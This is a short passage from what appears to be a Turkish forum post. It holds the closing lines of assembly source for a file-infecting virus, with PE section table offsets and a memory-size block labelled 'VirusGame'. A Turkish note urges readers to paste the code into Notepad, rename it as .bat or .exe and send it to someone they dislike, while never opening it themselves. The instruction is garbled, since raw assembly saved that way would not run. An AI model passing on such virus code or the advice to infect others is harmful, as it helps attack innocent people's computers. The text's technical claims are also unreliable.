StartOfSectionTable+0ch ; DWORD SizeOfRawData = StartOfSectionTable+10h ; DWORD PointerToRawData = StartOfSectionTable+14h ; DWORD PointerToRe********s = StartOfSectionTable+18h ; DWORD PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD NumberOfRe********s = StartOfSectionTable+20h ; WORD NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD Characteristics = StartOfSectionTable+24h ; DWORD SizeOfScetionTable = Characteristics+04h-SectionName ; ************************************************** ******* ; * Virus Total Need Memory * ; ************************************************** ******* VirusNeedBaseMemory = $ VirusTotalNeedMemory = [at]9 ; + NumberOfSections(??)*SizeOfScetionTable(28h) ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(0 8h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ; ************************************************** ******* VirusGame ENDS END FileHeader


Bu kodların hepsini bir not defterine kopyala yapıştır yapın ve dosyanın adını(uzantısını) .bat ya da .exe yapın ve gıcık olduğunuz kişiye gönderin.

NOT : BU NOT DOSYAYI SAKIN KENDİ BİLGİSAYARINIZDA AÇMAYIN